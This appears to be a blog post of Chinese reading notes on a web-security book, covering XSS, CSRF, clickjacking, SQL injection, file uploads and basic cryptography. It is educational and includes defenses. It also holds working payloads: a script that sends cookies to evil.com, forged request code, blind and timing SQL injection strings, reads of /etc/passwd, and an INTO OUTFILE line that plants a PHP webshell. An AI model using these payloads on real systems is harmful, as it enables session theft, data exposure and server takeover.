# 白帽子讲web安全 阅读笔记

# 浏览器安全

浏览器的同源策略是浏览器安全的最基本的功能。影响源的因素有: host、子域名、端口、协议。源策略限制 JavaScript 或 css 等脚本请求链接所在的域,而非脚本存放的域,参考CDN即可明白。但是浏览器也存在可跨域加载资源的标签, 如<script> <img> <iframe> <link> 等标签都不受同源策略的影响。

浏览器多采用多进程架构和Sandbox保护。

恶意网址分两类:一类似挂马网;一类是钓鱼网站。

“挂马” 主要是针对浏览器的攻击,通过利用浏览器的漏洞对浏览器用户进行攻击。

Firefox 4 中推出了Content Security Policy (CSP) ,由安全专家 Robert Hanson最早提出,其做法是由服务器端返回一个HTTP头,并在其中描述页面应该遵守的安全策略。

使用CSP的方法如下,插入一个HTTP返回头:

X-Content-Security-Policy: policy

其中 policy 的描述及其灵活, 比如:

// 浏览器将信任来自 mydomain.com 及其子域下的内容
X-Content-Security-Policy: allow 'self' *.mydomain.com

// 浏览器除了信任自身的来源外,还可以加载任意域的图片、来自media1.com的媒体文件,以及userscripts.example.com 的脚本,其他的则一律拒绝
X-Content-Security-Policy: allow 'self'; img-src *; media-src media1.com; script-src userscripts.example.com

# 跨站脚本攻击(XSS)

跨站脚本攻击, 英文全称是 Cross Site Script, 本来缩写是 CSS, 但是为了层叠样式表 (Cascading Style Sheet, CSS) 有所区别, 所以在安全领域叫做 “XSS”。

XSS攻击是一种通过 “HTML注入” 篡改网页,插入恶意的脚本,从而在用户浏览网页h时,控制用户浏览器的一种攻击。以前这种攻击是跨域的,所以叫 “跨站脚本” 攻击,但在今天,跨域与否情况而定。

1、第一种类型:反射型 XSS

服务器端代码

<?php 
$input = $_GET["param"];
echo "<div>".$input."</div>";
?>

在正常情况下,用户想param提交数据就会在页面中占时,如

http://www.a.com/test.php?param=This is a test !

// 前端显示结果 
This is a test !

但如果提交一段HTML代码:

http://www.a.com/test.php?param=<script>alert(/xss/)</script>

上面这段js代码就会被执行

2、第二种类型:存储型XSS

黑客把恶意脚本保存到服务器端,所以这种XSS攻击就叫做 “存储型XSS”, 通常也叫做 “持久型XSS” (Persistent XSS)

3、第三种类型:DOM Based XSS

通过修改页面的DOM节点形成的 XSS, 称之为DOM Based XSS。

最简单的窃取 Cookie 的 XSS Payload(Cookie劫持)

# 攻击方式

攻击者先加载一个远程脚本:

http://www.a.com/text.html?abc="><script src=http://www.evil.com/evil.js></script>"

在evil.js 中, 可以通过如下代码窃取 Cookie:

var img = document.createElment("img");
img.src = "http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);

其中 “http://www.evil.com/log” 并不一定要存在

# 防御手段

  • 在Set-Cookie 时给关键 Cookie 植入 HttpOnly标识;因为设置了HttpOnly的Cookie 就不能被Js读取到
  • 让 Cookie 与客户端 IP 绑定,从而使XSS窃取的 Cookie 失去意义

利用JS模拟GET和POST请求进行XSS攻击

假设sohu博客所在域的某页面存在XSS漏洞,那么通过 Javascript, 这个过程如下:

正常删除该文章的链接是:

http://blog.sohu.com/manage/entry.do?m=delete&id=156713012

攻击者可以通过插入一张图片发起一个GET请求:

var img = document.createElement("img");
img.src = "http://blog.sohu.com/manage/entry.do?m=delete&id=156713012"
document.body.appendChild(img);

模拟请求的两种方式

1、第一种方法是,构造一个 form表单,然后自动提交这个表单

// 直接用 JS 构造DOM
var f = document.createElement("form");
f.action = "";
f.method = "post";
document.body.appendChild(f);

var i1 = document.createElement("input");
i1.name = " ck";
i1.value = " JiUY";
f.appendChild(i1);

var i2 = document.createElement("input");
i2.name = " mb_text";
i2.value = "testtesttest";
f.appendChild(i2);

f.submit();

// 在参数较多时,使用 HTML构造form
var dd = document.createElement("div");
document.body.appendChild(dd);
dd.innerHTML = '<form action="" method="post" id="xssform" name="mbform">' + '<input type="hidden" value="JiUY" name="ck" />' + '<input type="text" value="testtesttest" name="mb_text" />' + '</form>'

document.getElementById("xssform").submit();

2、第二种方法是,通过XMLHttpRequest 发送一个 POST 请求:

var url = "http://www.douban.com";
var postStr = "ck=JiUY&mb_text=test1234";
var ajax = null;
if (window.XMLHttpRequest){
    ajax = new XMLHttpRequest();
} else if (window.ActiveXObject) {
    ajax = new ActiveXObject("Microsoft.XMLHTTP");
} else {
    return;
}

ajax.open("POST", url, true);
ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajax.send(postStr);

ajax.onreadystatechange = function(){
    if (ajax.readyState == 4 && ajax.status == 200) {
        alert("Done!");
    }
}

XSS 钓鱼

攻击思路:利用 Javascript 在当前页面 “画出” 一个伪造的登录框,当用户在登录框中输入用户名与密码后,其密码将被发送至黑客的服务器上。

# 获取信息

1、识别用户浏览器

利用UserAgent识别浏览器

alert(navigator.userAgent);

也可以利用浏览器各自的独特功能识别浏览器的版本, 下面是一种比较巧妙的代码:

B=(functin x(){})[-5]=='x'?'FF3':(function x(){})[-6]=='x'?'FF2':/a/[-1]=='a'?'FF':'\v'=='v'?'IE':/a/.__proto__=='//'?'Saf':/s/.test(/a/.toString)?'Chr':/^function \(/.test([].sort)?'Op':'Unknown'

2、识别用户暗装的软件

在IE中,可以通过判断ActiveX控件的classid 是否存在,来推测用户是否暗装了该软件。Flash有一个system.capabilities对象能够查询客户端电脑中的硬件信息; Firefox 的插件(Plugins)列表存放在一个DOM对象中,通过查询DOM可以遍历出所有的插件。

4. CSS History Hack

通过CSS,来发现一个用户曾经访问过的网站

5、获取用户的真实 IP 地址

Js 可以通过客户端软件来完成本地IP获取, 如 Java Applet 的接口获取客户端的本地IP地址。

XSS攻击平台

书上推荐的平台基本过时了,我找找新的再来补充…

XSS Worm

即xss蠕虫病毒。我也不知道为什么XSS也可以像蠕虫病毒一样传播。

XSS构造技巧

1、利用字符编码

var redirectUrl = "\";alert(/XSS/);";

由于页面是 GBK/GB2312编码, 因此 “%c1\” 这两个字符组合在一起后,会成为一个Unicode字符。在Firefox 下会认为这是一个字符,所以构造:

%c1";alert(/XSS/);//

即可把转义用的 “\” 符号给吃掉,成功执行XSS攻击。

2、绕过长度限制

1、可以利用 “location.hash” 就可以了

onclick="eval(location.hash.substr(1))"

2、利用注释符绕过长度限制

// 文本框
<input id=1 type="text" value="" />
xxxxxxxxx
<input id=2 type="text" value="" />

// 第一个文本框输入
"><!--
// 第二个 input框输入
--><script>alert(/xss/);</script>

5、利用<base> 标签,就可以通过在远程服务器上伪造图片、链接或脚本,劫持当前页面中的所有用 “相对路径” 的标签。比如

<base href="http://www.evil.com" />
...
<script src="x.js"></script>
...
<img src="y.jpg" />
...
<a href="auth.do">auth</a>

6、windows.name 攻击者可以利用这个对象实现跨域、跨页面传递数据。

针对 XSS漏洞的利用层不出穷,如 2006年的一个 “Apache Expect Header XSS” 层一度被认为不是一个漏洞的漏洞,然而后来被安全研究者 Amit Klein 提出了 “使用Flash构造请求” 的方法,成功地利用了这个漏洞。再比如将要利用的反射型 XSS 嵌入一个存储型XSS中,达到利用存储型XSS攻击反射型XSS页面的目的。Falsh中也存在XSS攻击,以及 JavaScript 开发框架也有很大可能造成XSS漏洞。

针对XSS的防御手段主要靠输入、输出的检查。

# 跨站点请求伪造(CSRF)

CSRF 的全名是 Cross Site Request Forgery (跨站点请求伪造), 维基百科上的解释挺透彻,直接拿过来粘贴了:

跨站请求攻击,简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并运行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去运行。这利用了web中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的

默认会拦截Third-party Cooki 的有:IE 6、IE 7、IE 8、Safari; 不会拦截的有: Firefox 2、 Firefox3、Opera、Google Chrome、Android等。

P3P Header 全称 The Platform for Privacy Preferences, 是 W3C 制定的一项关于隐私的标准。如果网站返回给浏览器的 HTTP 头中包含有P3P头,则在某种程度上来说,将允许浏览器发送第三方 Cookie。

以前有朋友问我,怎么才能跨域设置cookie呢? 然而当时我完全是丈二的和尚摸不着头脑,什么都不懂,给人瞎提一波意见。看到这儿才发现,其实和CSRF 的原理是一样的, 跨域设置Cookie,其实很简单,在加入了 P3P 头后,浏览器会允许跨域访问隐私数据,从而可以跨域 Set-Cookie成功

假设有后端代码 www.a.com/test.php

<?php
header("P3P: CP=CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR");
header("Set-Cookie: test=axis; expires=Sun, 23-Dec-2018 08:13:02 GMT; domain=.a.com; path=/");
?>

然后,CSRF 不仅针对 GET 请求,同时也可以针对 POST 请求发动攻击。

CSRF 也能发起大规模蠕虫攻击

CSRF 的防御

  • 验证码
  • Referer Check (缺陷在于服务器并非什么时候都能获取到 Referer)
  • Anti CSRF Token (url 参数原参数保持不变,新增一个参数Token,这个Token是随机的,不可预测的: http://host/path/delete?username=abc&item=123&token=[random(seed)])
    • 不可预测原则
    • Token有生命周期
    • 生成多个有效 Token,解决多页面共存的场景。
    • 使用时应注意Token的保密性
    • 应尽量把Token放在表单中,把敏感操作由GET 改为 POST,以form 表单(或者 AJAX)的形式提交,可以比秒Token 泄露

CSRF能够成功攻击的本质原因是因为重要操作的 所有参数都是可以被攻击者猜测到的,所以防御的方式就是让攻击者猜不到参数就行了(当然,这样说仅针对CSRF来说,对XSRF就没啥用了)

总而言之,CSRF攻击时攻击者利用用户身份操作用户账户的一种攻击方式。

# 点击劫持(ClickJacking)

点击劫持是一种视觉上的欺骗手段。攻击者使用一个透明的、不可见的iframe,覆盖在一个网页上,然后诱使用户在该网页上进行操作,此时用户将在不知情的情况下点击透明的iframe页面。通过调整 iframe 页面的位置,可以诱使用户恰好点击在 iframe 页面的功能性按钮上。flash 也可以被点击劫持,但已经修复了该漏洞。…各种各样的劫持,图片劫持、触屏劫持、拖拽劫持

针对传统的ClickJacking, 一般通过进制跨域的iframe来防范,如 frame busting, 通过js代码来禁止iframe的嵌套;frame busting仍然可能被绕过,一个比较好的解决方案是使用一个HTTP头——X-Frame-Options,值为DENY时,决绝加载仍和frame页面;值为SAMEORIGIN时候,frame 页面的地址只能为同源名下的页面;若值为ALLOW-FROM,则可以定义允许frame加载的页面地址。

也就是说,我自己在做开发的时候,想要安全的开宇就可以用 ALLOW-FROM 来进行跨域了。

HTML5安全

呃,看来这本书写的时候H5 还没像现在这么普遍。

新标签可能带来新的XSS攻击,比如 <video>、<audio>等标签,可能会绕过一些比较老的XSS Filter

1、iframe 标签的sandbox属性

在HTML5中,iframe 定义了一个新的属性,叫sandbox。使用sandbox这一属性后,<iframe> 标签加载的内容将被视为一个独立的 “源”, 其中的脚本将被禁止执行,表单将被禁止提交,插件被禁止加载,指向其他浏览对象的链接也会被禁止。下面是sandbox属性的几个参数:

  • allow-same-origin : 允许同源访问;
  • allow-top-navigation: 允许访问顶层窗口;
  • allow-forms: 允许提交表单;
  • allow-scripts: 允许执行脚本。

2、Line Types: noreferer

<a href="xxx" rel="noreferrer">test</a>

HTML 针对a、area标签定义的新的 Link Types: noreferer; 标签在指定了 noferer 之后,浏览器在请求该标签指定的地址时将不再发送Referer

3、Canvas

有个“骚”人,用Canvas 自动破解验证码。

4、Cross-Origin Resource Sharing (新的跨域解决方案)

Access-Control-Allow-Origin: *
Access-Control-Max-Age HTTP Response Header
Access-Control-Allow-Origin HTTP Response Header
....可在W3C 标准中查到

5、postMessage

HTML5 中, postMessage 允许每一个 window (包括当前窗口、弹出窗口、iframes等)对象往其他窗口发送文本消息,从而实现跨窗口的消息传递。这个功能是不受同源策略限制的。

6、Web Storage

local storage 可以持久化存储

注入攻击

1、SQL 注入

// SQL 注入的典型例子
var Shipcityl
ShipCity = Request.form("ShipCity");
var sql = "select * from OrdersTable where ShipCity = '" + ShipCity + "'";

// SQL 语句就会执行
SELECT * FROM OrderTable WHERE ShipCity = 'Beijing'

// 加入用户输入一段有语义的 SQL 语句,比如:
Beijing'; drop table OrdersTable--

//执行的SQL就变成了下面
SELECT * FROM OrdersTable WHERE ShipCity = 'Beijing';drop table OrdersTable--'

2、盲注 (Blind Injection)

“盲注” 就是在服务器没有错误回显时完成的注入攻击。最常见的盲注验证方法,就是构造简单的条件语句,根据返回页面是否发生变化,来判断SQL语句是否得到执行。之前做CTF题的时候,遇到过一个注入,通过逐个测试所有ASCII码,来获取最终能的flag, 也是盲注。

Timing Attach 也是一种盲注技巧,在MySQL中有一个 BENCHMARK() 函数,它是用于测试函数性能的函数,有两个参数:

BENCHMARK(count, expr) // 将表达式 expr 执行 count 次

因此,利用BENCHMARK()函数, 可以让一个函数执行若干次,使得返回的时间比平时要长;通过时间长短的变化,可以判断注入语句是否执行成功。(做CTF的web题时,我也遇到过有人在writeup里面,利用sleep 函数来盲注,判断注入是否成功)

一个简单Timming Attack 的例子:

// 判断库名的第一个字母是否为 CHAR(119), 即小写的 w, 当为真时,BENCHMARK()就会执行,从而延长执行时间,攻击者就可以判断其为真,否则很快就会跳过,攻击者可以遍历整个ascii表去逐个判断字符,速度还很快...就是这么简单
1170 UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE('MSG', 'by 5 seconds')), null) FROM (Select Database() as current) as tabl;

// 其他获取有用信息的SQL函数
database() - the name of hte database currently connected to.
system_user() - the system user for the database.
current_user() - the current user who is logged in to the database.
last_insert_id() - the tansction ID of the last insert operation on the database.

// 如果当前数据库用户 (current_user) 具有写权限,那么攻击者还可以将信息写入本地磁盘中。比如写入web目录中,攻击者就可以下载这些文件
1170 Union All SELECT table_name , table_type, engine FROM iunformation_schema.tables WHERE table_schema = 'mysql' ORDER BY table_name DESC OUTFILE '/path/location/on/server/www/schema.txt'

// 通过dump 文件的方法,写入一个webshell
1170 UNION SELECT "<? systemct($_REQUEST['cmd']); ?>", 2,3,4 INTO OUTFILE "/var/www/html/temp.c.php" --

3、常见数据库攻击技巧

判断MySQL版本的SQL

http://www.site.com/news.php?id=5 and substring(@@version, 1, 1)=4

利用 union select 来分别确认表明 admin 是否存在, 列明 passwd 是否存在

id=5 union all select 1,2,3 from admin
id=5 union all select 1,2,passwd from admin

猜解 username 和 password 具体的值

id=5 and ascii(substring((select concat(username, 0x3a, passwd) from users limit 0,1),1,1)) > 64 /*ret true*/

(MySQL)读取文件和写入文件

// 利用 LOAD_FILE() 读取系统文件
... union select 1,1, LOAD_FILE('/etc/passwd'),1,1;

// 利用 INTO DUMPFILE 写入本地文件
CREATE TABLE photatoes(line BLOB);
UNION SELECT 1,1, HEX(LOAD_FILE('/etc/passwd')),1,1 INTO DUMPFILE '/tmp/photatoes';
LOAD DATA INFILE '/tmp/photatoes' INTO TABLE photatoes;

// INTO DUMPFILE 适用于二进制文件, INTO OUTFILE 则更适用于文本文件

原来还可以这么玩儿, 学到了学到了、嘿嘿嘿

命令执行

利用“用户自定义函数” 的技巧,即UDF(User-Defined Functions) 来执行命令

在流行的数据库中,一般都支持从本地文件系统中导入一个共享库文件作为自定义函数。UDF 创建语法:

CREATE FUNTION f_name RETURN INTEGER SONAME share_library

存储问题、编码问题、

SQL Column Truncation 是 2008年8月 由Stefan Esser 提出的一种攻击方式,利用sql-mode模式,MySQL对于用户插入的超长值进行截断并只提示warning,从而导致发生“截断”问题。

4、防御SQL 注入

  • 找到所有SQL语句、过滤
  • 最佳方式,使用预编译语句,绑定变量
  • 使用安全的存储过程对抗SQL注入
  • 检查数据类型
  • 使用安全函数
  • 最小权限原则,即避免 Web应用直接使用 root、dbowner 等高权限账户直接连接数据库。Web应用使用的数据库账户,不应该有创建自定义函数、操作本地文件的权限。(我不就是直接root吗?太可怕了,吓得我赶紧按照书上说的重新去设置一遍)

5、其他注入攻击

XML注入、代码注入、CRLF注入、

# 文件上传漏洞

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本获得了执行服务端命令的能力。比如将上传文件作为一个入口,溢出服务器的后台处理程序,如图片解析模块;或者上传一个合法的文本文件,其内容包含了PHP脚本,再通过“本地文件包含漏洞(Local File Include)”执行此脚本;

在针对上传文件的检查中,很多应用都是通过判断文件名后缀的方法来验证文件的安全性的,但如果在文件名后添加一个 %00字节,则可以截断某些函数对文件名的判断。通过文件头来判断文件合法性的函数来说,可以将真实的PHP等脚本代码附在合法的文件头之后。

IIS 6 在处理文件解析时,有截断漏洞,截断字符为分号 “;”。当文件名为 abc.asp;xx.jpg 时, IIS 6 会将此文件解析为 abc.asp,文件名被截断了,从而导致脚本被执行。

安全的文件上传功能的几点经验:

  1. 文件上传的目录设置为不可执行
  2. 判断文件类型
  3. 使用随机数改写文件名和文件路径
  4. 单独设置文件服务器的域名

认证与会话管理

密码就是最常见的认证手段。密码的OWASP推荐最佳实践:

  • 普通应用要求长度6为以上;
  • 重要应用要求长度8位以上,并考虑双因素认证。
  • 密码区分大小写字母;
  • 密码为大写字母、小写字母、数字、特殊符号中两种以上的组合;
  • 不要有连续性的祖父,比如1234abcd,这种字符顺着人的思路,所以容易猜解;
  • 尽量避免出现重复的字符,比如1111.

密码必须以不可逆的加密算法,或者单向散列函数算法,加密后存储在数据库中。

破解MD5后密码的方式发时 “彩虹表(Rainbow Table)”

多因素认证:手机动态口令、数字证书、宝令、支付盾、第三方证书等。

访问控制

OAuth 2.0

加密算法与随机数

1、分组加密算法

分组加密算法基于“分组”(block)进行操作,根据算法的不同,每个分组的长度可能不同。分组加密算法的代表有DES、3-DES、Blowfish、IDEA、AES等。

2、流加密算法

流加密算法每次只处理一个字节,密钥独立于消息之外,两者通过异或实现加密与解密。流密码加密算法的代表有 RC4、ORYX、SEAL等。

针对加密算法的攻击有:

  • 唯密文攻击
  • 已知明文攻击
  • 选择明文攻击
  • 选择密文攻击(Padding Oracle Attack)就是一种选择密文攻击

一、Stream Cipher Attack

常见的流密码加密算法有 RC4、ORYX、SEAL 等。

1、Reused Key Attack

在流密码的使用中,最常见的错误便是使用同一个密钥进行多次加/解密。这将使得破解流密码变得非常简单。在这种攻击下,攻击者不需要知道密钥,即可还原出明文

// 假设有密钥 C, 明文A, 明文B,那么,XOR加密可表示为:
E(A) = A xor C
E(B) = B xor C

// 密钥是公之于众的,因此很容易就可以计算:
E(A) xor E(B)

// 推导过程
E(A) xor E(B) = (A xor C) xor (B xor C) = A xor B xor C xor C = A xor B

// 从而得到
E(A) xor E(B) = A xor B

web框架安全

应用层拒绝服务攻击

PHP安全

web server配置安全

互联网安全运营

暂无评论

发表评论

您的电子邮件地址不会被公开,必填项已用*标注。

相关推荐